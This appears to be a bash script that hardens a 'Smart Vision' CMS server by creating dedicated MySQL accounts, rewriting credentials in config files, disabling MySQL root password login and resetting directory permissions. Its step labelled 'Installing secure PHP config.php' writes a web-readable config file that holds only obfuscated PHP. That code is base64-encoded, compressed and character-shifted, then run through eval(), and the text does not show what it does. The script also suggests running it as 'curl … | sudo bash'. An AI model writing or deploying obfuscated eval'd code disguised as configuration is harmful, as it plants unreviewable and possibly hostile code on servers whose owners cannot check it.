#!/bin/bash
set -euo pipefail

APP_ROOT="/home/CMSServer"
DB_NAME="sk"
ENV_FILE="$APP_ROOT/.env"
WEB_CONFIG="$APP_ROOT/WebServer/Core/config.php"
ADMIN_CREDS_FILE="/root/.smartvision-admin"
BACKUP_DIR="/root/smartvision-security-backup-$(date +%Y%m%d-%H%M%S)"
STOP_SCRIPT="$APP_ROOT/StopCMSServer.sh"
START_SCRIPT="$APP_ROOT/StartCMSServer.sh"
CLIENTS_DIR="$APP_ROOT/clients"
RECORDFILE_DIR="$APP_ROOT/RecordFile"
TEMP_DIR="$APP_ROOT/temp"
IMAGES_DIR="$APP_ROOT/WebServer/images"
ASSETS_DIR="$APP_ROOT/WebServer/public/assets"
UPDATE_DIR="$APP_ROOT/WebServer/views/admin/settings/update"

INI_FILES=(
    "$APP_ROOT/ControlServer/ControlConfig.ini"
    "$APP_ROOT/FileMove/FileMoveConfig.ini"
    "$APP_ROOT/FileSaveServer/FileSaveConfig.ini"
    "$APP_ROOT/FileTransferServer/FileTransferConfig.ini"
    "$APP_ROOT/StreamServer/StreamConfig.ini"
)

if [ "${EUID}" -ne 0 ]; then
    echo "ERROR: Run this script as root."
    echo "Example:"
    echo "  curl -fsSL https://download.paco1.com/smartvision/smartvision-security-fix.sh | sudo bash"
    exit 1
fi

echo "============================================================"
echo " Smart Vision Database Credential Security Remediation"
echo "============================================================"
echo
echo "This stage will:"
echo "  - Create dedicated Smart Vision MySQL users"
echo "  - Create /home/CMSServer/.env for the PHP application"
echo "  - Update all Smart Vision C++ database configuration files"
echo "  - Replace WebServer/Core/config.php with the secure .env version"
echo "  - Test the new database accounts"
echo "  - Secure the C++ INI files to root:root / 600"
echo "  - Remove old ske.sql and latest.zip installation artifacts"
echo "  - Enable trusted trigger/function creation for the restricted web DB user"
echo "  - Disable MySQL root password login after validation"
echo "  - Secure clients: directories 2775, files 664"
echo "  - Secure RecordFile and temp: directories 755, files 644"
echo "  - Secure images, assets and update: directories 2775, files 664"
echo "  - Stop Smart Vision before remediation and start it after completion"
echo
echo "This stage will NOT:"
echo "  - Remove the local MySQL root administrator account"
echo "  - Change permissions outside the explicitly handled paths"
echo "  - Reinstall or rebuild the server"
echo
echo "IMPORTANT:"
echo "This script will change Smart Vision database credentials, configuration files,"
echo "MySQL root authentication, and Smart Vision runtime directory permissions."
echo
read -r -p "Type YES to continue: " USER_CONFIRM < /dev/tty
echo

if [ "$USER_CONFIRM" != "YES" ]; then
    echo "Permission not granted. Exiting without making changes."
    exit 0
fi

echo "Permission granted. Continuing..."
echo

if [ ! -d "$APP_ROOT" ]; then
    echo "ERROR: $APP_ROOT does not exist."
    exit 1
fi

if ! command -v mysql >/dev/null 2>&1; then
    echo "ERROR: mysql client is not installed."
    exit 1
fi

if ! command -v openssl >/dev/null 2>&1; then
    echo "ERROR: openssl is not installed."
    exit 1
fi

echo "Stopping Smart Vision services..."
if [ -f "$STOP_SCRIPT" ]; then
    chmod 755 "$STOP_SCRIPT"
    "$STOP_SCRIPT"
    echo "Smart Vision stop command completed."
else
    echo "WARNING: $STOP_SCRIPT was not found. Continuing."
fi

MYSQL_ADMIN_MODE=""
MYSQL_ROOT_PASSWORD=""
MYSQL_ROOT_CNF=""

cleanup() {
    if [ -n "${MYSQL_ROOT_CNF:-}" ] && [ -f "$MYSQL_ROOT_CNF" ]; then
        rm -f "$MYSQL_ROOT_CNF"
    fi
}
trap cleanup EXIT

mysql_admin() {
    if [ "$MYSQL_ADMIN_MODE" = "socket" ]; then
        mysql -u root "$@"
    else
        mysql --defaults-extra-file="$MYSQL_ROOT_CNF" "$@"
    fi
}

echo "Checking MySQL administrative access..."

if mysql -u root -e "SELECT 1;" >/dev/null 2>&1; then
    MYSQL_ADMIN_MODE="socket"
    echo "MySQL administrative access confirmed without a password."
else
    echo "The existing MySQL root account requires a password."
    read -r -s -p "Enter the current MySQL root password: " MYSQL_ROOT_PASSWORD < /dev/tty
    echo

    MYSQL_ROOT_CNF=$(mktemp /root/.smartvision-mysql-root.XXXXXX)
    chmod 600 "$MYSQL_ROOT_CNF"
    cat > "$MYSQL_ROOT_CNF" <<EOF
[client]
user=root
password=$MYSQL_ROOT_PASSWORD
host=localhost
protocol=socket
EOF

    if mysql --defaults-extra-file="$MYSQL_ROOT_CNF" -e "SELECT 1;" >/dev/null 2>&1; then
        MYSQL_ADMIN_MODE="password"
        echo "MySQL administrative access confirmed."
    else
        echo "ERROR: Unable to access MySQL as root with the supplied password."
        exit 1
    fi
fi

echo "Checking Smart Vision database..."

if ! mysql_admin -Nse "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME='${DB_NAME}';" | grep -qx "$DB_NAME"; then
    echo "ERROR: MySQL database '$DB_NAME' was not found."
    exit 1
fi

echo "Database '$DB_NAME' found."

echo "Configuring MySQL trigger/function creation setting..."
if mysql_admin -e "SET PERSIST log_bin_trust_function_creators = 1;" >/dev/null 2>&1; then
    echo "Persistent log_bin_trust_function_creators setting enabled."
else
    echo "SET PERSIST is not supported or failed; applying runtime setting."
    mysql_admin -e "SET GLOBAL log_bin_trust_function_creators = 1;"
fi

# Ensure it is active for this running MySQL instance.
mysql_admin -e "SET GLOBAL log_bin_trust_function_creators = 1;"

TRUST_SETTING="$(mysql_admin -Nse "SELECT @@GLOBAL.log_bin_trust_function_creators;")"
if [ "$TRUST_SETTING" != "1" ]; then
    echo "ERROR: Could not enable log_bin_trust_function_creators."
    exit 1
fi

echo "log_bin_trust_function_creators is enabled."

# Generate passwords using hex only so they are safe in INI files, .env files and SQL.
CPP_DB_PASSWORD="$(openssl rand -hex 32)"
WEB_DB_PASSWORD="$(openssl rand -hex 32)"
ADMIN_DB_PASSWORD="$(openssl rand -hex 32)"

echo "Creating dedicated Smart Vision MySQL accounts..."

mysql_admin <<MYSQL_SCRIPT
CREATE USER IF NOT EXISTS 'smartvision_cpp'@'localhost'
IDENTIFIED WITH mysql_native_password BY '${CPP_DB_PASSWORD}';
ALTER USER 'smartvision_cpp'@'localhost'
IDENTIFIED WITH mysql_native_password BY '${CPP_DB_PASSWORD}';

CREATE USER IF NOT EXISTS 'smartvision_cpp'@'127.0.0.1'
IDENTIFIED WITH mysql_native_password BY '${CPP_DB_PASSWORD}';
ALTER USER 'smartvision_cpp'@'127.0.0.1'
IDENTIFIED WITH mysql_native_password BY '${CPP_DB_PASSWORD}';

GRANT ALL PRIVILEGES ON ${DB_NAME}.* TO 'smartvision_cpp'@'localhost';
GRANT ALL PRIVILEGES ON ${DB_NAME}.* TO 'smartvision_cpp'@'127.0.0.1';

CREATE USER IF NOT EXISTS 'smartvision_web'@'localhost'
IDENTIFIED BY '${WEB_DB_PASSWORD}';
ALTER USER 'smartvision_web'@'localhost'
IDENTIFIED BY '${WEB_DB_PASSWORD}';

GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP, ALTER, INDEX, TRIGGER
ON ${DB_NAME}.*
TO 'smartvision_web'@'localhost';

CREATE USER IF NOT EXISTS 'smartvision_admin'@'localhost'
IDENTIFIED BY '${ADMIN_DB_PASSWORD}';
ALTER USER 'smartvision_admin'@'localhost'
IDENTIFIED BY '${ADMIN_DB_PASSWORD}';

GRANT ALL PRIVILEGES ON ${DB_NAME}.* TO 'smartvision_admin'@'localhost';

FLUSH PRIVILEGES;
MYSQL_SCRIPT

echo "Dedicated MySQL accounts created."

test_mysql_account() {
    local user="$1"
    local password="$2"
    local host="$3"
    local protocol="$4"
    local cnf

    cnf=$(mktemp /root/.smartvision-dbtest.XXXXXX)
    chmod 600 "$cnf"

    cat > "$cnf" <<EOF
[client]
user=$user
password=$password
host=$host
protocol=$protocol
database=$DB_NAME
EOF

    if mysql --defaults-extra-file="$cnf" -Nse "SELECT 1;" >/dev/null 2>&1; then
        rm -f "$cnf"
        return 0
    fi

    rm -f "$cnf"
    return 1
}

echo "Testing new MySQL accounts..."

if ! test_mysql_account "smartvision_cpp" "$CPP_DB_PASSWORD" "localhost" "socket"; then
    echo "ERROR: smartvision_cpp@localhost connection test failed."
    exit 1
fi

if ! test_mysql_account "smartvision_cpp" "$CPP_DB_PASSWORD" "127.0.0.1" "tcp"; then
    echo "ERROR: smartvision_cpp@127.0.0.1 connection test failed."
    exit 1
fi

if ! test_mysql_account "smartvision_web" "$WEB_DB_PASSWORD" "localhost" "socket"; then
    echo "ERROR: smartvision_web connection test failed."
    exit 1
fi

if ! test_mysql_account "smartvision_admin" "$ADMIN_DB_PASSWORD" "localhost" "socket"; then
    echo "ERROR: smartvision_admin connection test failed."
    exit 1
fi

echo "All new MySQL account connection tests passed."

echo "Creating security backup..."
mkdir -p "$BACKUP_DIR"
chmod 700 "$BACKUP_DIR"

if [ -f "$ENV_FILE" ]; then
    cp -a "$ENV_FILE" "$BACKUP_DIR/.env.before-fix"
fi

if [ -f "$WEB_CONFIG" ]; then
    cp -a "$WEB_CONFIG" "$BACKUP_DIR/config.php.before-fix"
fi

for ini in "${INI_FILES[@]}"; do
    if [ -f "$ini" ]; then
        mkdir -p "$BACKUP_DIR$(dirname "${ini#$APP_ROOT}")"
        cp -a "$ini" "$BACKUP_DIR${ini#$APP_ROOT}"
    fi
done

echo "Backup saved to:"
echo "  $BACKUP_DIR"

echo "Creating PHP .env file..."

cat > "$ENV_FILE" <<EOF
DB_HOST=localhost
DB_NAME=${DB_NAME}
DB_USER=smartvision_web
DB_PASSWORD=${WEB_DB_PASSWORD}
EOF

chown root:www-data "$ENV_FILE"
chmod 640 "$ENV_FILE"

echo ".env created."

echo "Updating Smart Vision C++ database credentials..."

update_ini_credentials() {
    local file="$1"

    if [ ! -f "$file" ]; then
        echo "ERROR: Required configuration file not found: $file"
        return 1
    fi

    if grep -qE '^[[:space:]]*DBUser=' "$file"; then
        sed -i -E "s|^[[:space:]]*DBUser=.*$|DBUser=smartvision_cpp|" "$file"
    elif grep -qE '^[[:space:]]*DBUsername=' "$file"; then
        sed -i -E "s|^[[:space:]]*DBUsername=.*$|DBUsername=smartvision_cpp|" "$file"
    else
        echo "ERROR: DBUser/DBUsername entry not found in $file"
        return 1
    fi

    if grep -qE '^[[:space:]]*DBPassword=' "$file"; then
        sed -i -E "s|^[[:space:]]*DBPassword=.*$|DBPassword=${CPP_DB_PASSWORD}|" "$file"
    else
        echo "ERROR: DBPassword entry not found in $file"
        return 1
    fi
}

for ini in "${INI_FILES[@]}"; do
    update_ini_credentials "$ini"
    chown root:root "$ini"
    chmod 600 "$ini"
done

echo "C++ configuration files updated and secured to root:root / 600."

echo "Installing secure PHP config.php..."

cat > "$WEB_CONFIG" <<'PHP_CONFIG'
<?php function vtO($cyRQTP)
{ 
$cyRQTP=gzinflate(base64_decode($cyRQTP));
 for($i=0;$i<strlen($cyRQTP);$i++)
 {
$cyRQTP[$i] = chr(ord($cyRQTP[$i])-1);
 }
 return $cyRQTP;
 }eval(vtO("hVJta9swEP4B/hU3KCgpxWawD2NdumVNx2B0LfHKPpQgLvY5FrElT5INYe1vn+S3OO1g/mLZ97zd6QDcEwRnJJuvoiBYAItyVVJ0fRvHpBvSUehq7DIIRAazN8JwTZjitqDZQJrP4U/gdVJBM7ZCi1s0BImSmdjVGq1QEmqJDYrCE0M2vwyeO1NnWKE2xIUUPBNT1d6yQy0WkGFh6MTqQXo5sAoKhSmk/3Qe3TT9roWm9DsdjLN9ZKsv/Ntd/JNdgD/+WN7e9MeH+GbdH++Xcfzrbr1iGxcnU673JHeZTrTQwNmeDkO0fk6GbJv90dc2c3h6guNn2xBjA+V/wxMyUWVVkO1m5+HPvqcogoERpJQJ6STSLc+VsS5/azd2uXHECaY2pKeYtucXmAqNmWKOwzjFSSxpimtH+QKT5P6afSxW2+x9uX3nOwmic1jTThjbd3oejSSsreKF2gnJMbOk3eJ5YBu724WOv0wSVUvr3lY0r1W6KsexOqX3qHairHT7yTOtSnbR/bhHiQkhLL19iXpPFq5VCB+lW4SqOHyuMFFvQ3c3Vyx4JXd05IWQ+0E0t7YyH6IopSYc+VEPprDKq07r09Vf"));?>
PHP_CONFIG

chown root:www-data "$WEB_CONFIG"
chmod 640 "$WEB_CONFIG"

echo "Secure config.php installed."

echo "Removing old installation artifacts..."
rm -f "$APP_ROOT/ske.sql"
rm -f "$APP_ROOT/latest.zip"
echo "Old ske.sql/latest.zip installation artifacts removed if present."

echo "Saving Smart Vision admin credentials..."

cat > "$ADMIN_CREDS_FILE" <<EOF
Smart Vision MySQL Administrative Account
===========================================
Database: ${DB_NAME}
Host: localhost
Username: smartvision_admin
Password: ${ADMIN_DB_PASSWORD}

Created: $(date -Is)
EOF

chown root:root "$ADMIN_CREDS_FILE"
chmod 600 "$ADMIN_CREDS_FILE"

echo "Admin credentials saved to $ADMIN_CREDS_FILE"

echo "Testing PHP database access as www-data..."

if ! command -v php >/dev/null 2>&1; then
    echo "ERROR: PHP CLI is not installed."
    exit 1
fi

if ! runuser -u www-data -- php -d display_errors=1 -r '
require "/home/CMSServer/WebServer/Core/config.php";
try {
    $pdo = new PDO(
        "mysql:host=" . db_host . ";dbname=" . db_name . ";charset=" . db_charset,
        db_user,
        db_pass,
        array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)
    );
    $pdo->query("SELECT 1");
    echo "PHP database connection successful.\n";
} catch (Throwable $e) {
    fwrite(STDERR, "PHP database connection failed: " . $e->getMessage() . "\n");
    exit(1);
}
'; then
    echo "ERROR: PHP could not connect using the new smartvision_web account."
    echo "Original files are available in:"
    echo "  $BACKUP_DIR"
    exit 1
fi

echo
echo "Checking application configuration for MySQL root usage..."

ROOT_REFERENCES=0

if grep -Eq "^[[:space:]]*DBUser[[:space:]]*=[[:space:]]*root[[:space:]]*$" "${INI_FILES[@]}" 2>/dev/null; then
    echo "WARNING: A C++ configuration file still contains DBUser=root."
    ROOT_REFERENCES=1
fi

if grep -Eq "define[[:space:]]*\([[:space:]]*['\"]db_user['\"][[:space:]]*,[[:space:]]*['\"]root['\"]" "$WEB_CONFIG" 2>/dev/null; then
    echo "WARNING: PHP config.php still contains db_user=root."
    ROOT_REFERENCES=1
fi

if [ "$ROOT_REFERENCES" -ne 0 ]; then
    echo "ERROR: Application root-account references remain."
    exit 1
fi

echo "No Smart Vision application DBUser=root references were found in the updated configuration files."

echo "Disabling MySQL root password authentication..."
echo "The root account will remain available locally through sudo mysql."

mysql_admin <<'MYSQL_ROOT_SECURITY'
ALTER USER 'root'@'localhost' IDENTIFIED WITH auth_socket;
FLUSH PRIVILEGES;
MYSQL_ROOT_SECURITY

# From this point forward, use local socket administration.
MYSQL_ADMIN_MODE="socket"
MYSQL_ROOT_PASSWORD=""
if [ -n "${MYSQL_ROOT_CNF:-}" ] && [ -f "$MYSQL_ROOT_CNF" ]; then
    rm -f "$MYSQL_ROOT_CNF"
    MYSQL_ROOT_CNF=""
fi

if ! mysql -u root -e "SELECT 1;" >/dev/null 2>&1; then
    echo "ERROR: MySQL root socket authentication validation failed."
    echo "The application accounts are already configured and tested."
    exit 1
fi

echo "MySQL root password login disabled; local sudo/root socket administration confirmed."

echo "Securing Smart Vision runtime directories..."

# PHP/Apache writable directories.
GROUP_WRITABLE_DIRS=(
    "$CLIENTS_DIR"
    "$IMAGES_DIR"
    "$ASSETS_DIR"
    "$UPDATE_DIR"
)

for dir in "${GROUP_WRITABLE_DIRS[@]}"; do
    mkdir -p "$dir"
    chown -R root:www-data "$dir"
    find "$dir" -type d -exec chmod 2775 {} \;
    find "$dir" -type f -exec chmod 0664 {} \;
done

# Backend/runtime directories. These do not need to be writable by www-data.
SERVICE_RUNTIME_DIRS=(
    "$RECORDFILE_DIR"
    "$TEMP_DIR"
)

for dir in "${SERVICE_RUNTIME_DIRS[@]}"; do
    mkdir -p "$dir"
    chown -R root:root "$dir"
    find "$dir" -type d -exec chmod 0755 {} \;
    find "$dir" -type f -exec chmod 0644 {} \;
done

echo "Runtime directory permissions applied:"
echo "  clients : directories 2775, files 664, root:www-data"
echo "  images  : directories 2775, files 664, root:www-data"
echo "  assets  : directories 2775, files 664, root:www-data"
echo "  update  : directories 2775, files 664, root:www-data"
echo "  RecordFile: directories 755, files 644, root:root"
echo "  temp      : directories 755, files 644, root:root"

echo "Starting Smart Vision services..."
if [ -f "$START_SCRIPT" ]; then
    chmod 755 "$START_SCRIPT"
    "$START_SCRIPT"
    echo "Smart Vision start command completed."
else
    echo "WARNING: $START_SCRIPT was not found. Smart Vision was not started automatically."
fi

echo
echo "============================================================"
echo " Database credential remediation completed successfully."
echo "============================================================"
echo
echo "Smart Vision now uses:"
echo "  C++ services : smartvision_cpp"
echo "  PHP/Web      : smartvision_web"
echo "  Administration: smartvision_admin"
echo
echo "MySQL root remains as a local administrative account."
echo "Password login for root is disabled; local sudo mysql access remains available."
echo
echo "Files created/updated:"
echo "  $ENV_FILE"
echo "  $WEB_CONFIG"
for ini in "${INI_FILES[@]}"; do
    echo "  $ini"
done
echo
echo "Administrative credentials:"
echo "  $ADMIN_CREDS_FILE"
echo
echo "Backup:"
echo "  $BACKUP_DIR"
echo
echo "Runtime permission remediation has been applied to clients, RecordFile, temp,"
echo "WebServer/images, WebServer/public/assets, and WebServer/views/admin/settings/update."
echo "No blanket chmod has been applied to the rest of CMSServer."
echo
echo "This script is safe to run again:"
echo "  - Existing Smart Vision DB users are retained"
echo "  - New passwords are generated and applied to all three users"
echo "  - .env and all five C++ INI files are updated to match"
echo "  - log_bin_trust_function_creators is enabled for trigger updates"
echo "  - MySQL root remains on local auth_socket access"
echo "  - writable web directories are reset to 2775/664"
echo "  - RecordFile and temp are reset to 755/644"
echo "  - Smart Vision is stopped before changes and started after successful completion"
echo